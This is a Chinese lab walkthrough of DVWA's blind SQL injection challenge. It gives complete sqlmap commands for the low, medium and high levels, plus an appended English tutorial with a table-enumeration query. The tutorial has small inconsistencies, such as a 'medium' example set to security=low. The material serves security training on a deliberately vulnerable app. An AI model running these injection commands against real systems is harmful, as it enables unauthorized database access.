dvwa Vulnerability: SQL Injection (Blind)记录

Security Level:low

1、在输入框1和123,发现回显不一样,会判断数据库是否存在该值,即与数据库产生交互,可能存在布尔盲注。

2、使用sqlmap自动化注入,显示会重定向到首页,可能需要cookie

3、获取cookie后,重新使用sqlmap,根据跑出结果使用布尔注入

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit"  --cookie="id=2; PHPSESSID=thu431bemmul4c09u6mskheepp; security=low" --batch

4、使用布尔注入,获取数据库名

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit"  --cookie="id=2; PHPSESSID=thu431bemmul4c09u6mskheepp; security=low" --batch --technique=B  --current-db

Security Level:medium

1、抓取数据包更改参数,根据回显,可能存在布尔注入

2、

将当前页面的数据包信息,复制到本地的txt文本里面,并在id=处标记*号

并将文本保存到sqlmap的根目录

将当前页面的数据包信息,复制txt文本,并在id=处标记*号,再将txt文本复制到sqlmap的根目录

此时txt文本的文件名为1.txt

3、使用sqlmap跑post型数据包,获取当前数据库文件名

python sqlmap.py -r 1.txt  --technique=B  --current-db

Security Level:high

1、输入123,根据回显,可能存在布尔注入

2、

由于这里输入时一个url,响应是另一个URL

故使用参数–second-url= (设置二阶响应的结果显示页面的url)

抓取数据包,传参为1&Submit=Submit

3、使用sqlmap获取当前数据库文件名

python sqlmap.py -u "127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" --cookie="id=123; PHPSESSID=thu431bemmul4c09u6mskheepp; security=high" --batch --technique=B  --current-db

### DVWA SQL Blind Injection Medium Level Attack Method Tutorial In the context of DVWA (Damn Vulnerable Web Application), exploiting a SQL blind injection vulnerability at the medium difficulty level involves understanding how to interact with the application and craft specific payloads that can infer database structure or content based on true/false responses. The command provided serves as an example payload used within such attacks, specifically designed to retrieve table names from the current database schema by leveraging conditional logic in queries: ```sql select table_name from information_schema.tables where table_schema=database()[^1] ``` For executing this type of attack against DVWA's SQLi Blind challenge set to 'Medium', one approach is using automated tools like SqlMap which simplifies the process significantly. An invocation might look similar to what has been shared previously: ```bash py3 sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db[^2] ``` This tool automates much of the work involved in detecting vulnerabilities, extracting data through time-based boolean conditions without direct output feedback, and even taking over databases under certain circumstances—all while adhering to user-defined constraints regarding legality and ethics. When performing manual exploitation for educational purposes only, consider crafting custom scripts or modifying existing ones according to your environment setup. The key lies in constructing queries that cause different behaviors depending on whether they evaluate to true or false, allowing inference about underlying structures indirectly via side-channel observations. --related questions-- 1. How does changing the security level affect the effectiveness of SQL injection techniques? 2. What are some common defenses implemented against SQL injections? 3. Can you explain more about Information Schema Tables and their role in discovering database objects during penetration testing? 4. Are there any particular challenges associated with exploiting blind SQL injections compared to error-based methods?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值